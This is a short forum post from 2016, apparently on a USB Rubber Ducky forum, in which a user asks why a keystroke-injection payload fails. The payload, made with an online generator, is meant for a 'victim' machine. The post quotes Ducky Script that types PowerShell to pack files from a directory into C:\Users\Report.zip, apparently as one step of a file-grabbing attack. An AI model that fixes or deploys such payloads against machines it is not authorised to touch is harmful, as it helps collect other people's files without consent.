agilebit Posted April 6, 2016 Posted April 6, 2016 The online payload generator creates a function inside all its scripts to convert the files to .zip, however when i load the inject.bin file onto the ducky and then plug it into the 'victim' machine, the red light flashes once and stops. thats it. However, when I remove the function from the script, everything works great. How can i fix this? I've attached the problem script code below: STRING function copy-ToZip($fileSaveDir){ ENTER STRING $srcdir = $fileSaveDir ENTER STRING $zipFile = 'C:\Users\Report.zip' ENTER STRING if(-not (test-path($zipFile))) { ENTER STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) ENTER STRING (dir $zipFile).IsReadOnly = $false} ENTER STRING $shellApplication = new-object -com shell.application ENTER STRING $zipPackage = $shellApplication.NameSpace($zipFile) ENTER STRING $files = Get-ChildItem -Path $srcdir ENTER STRING foreach($file in $files) { ENTER STRING $zipPackage.CopyHere($file.FullName) ENTER STRING while($zipPackage.Items().Item($file.name) -eq $null){ ENTER STRING Start-sleep -seconds 1 }}} ENTER STRING copy-ToZip($fileSaveDir) Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.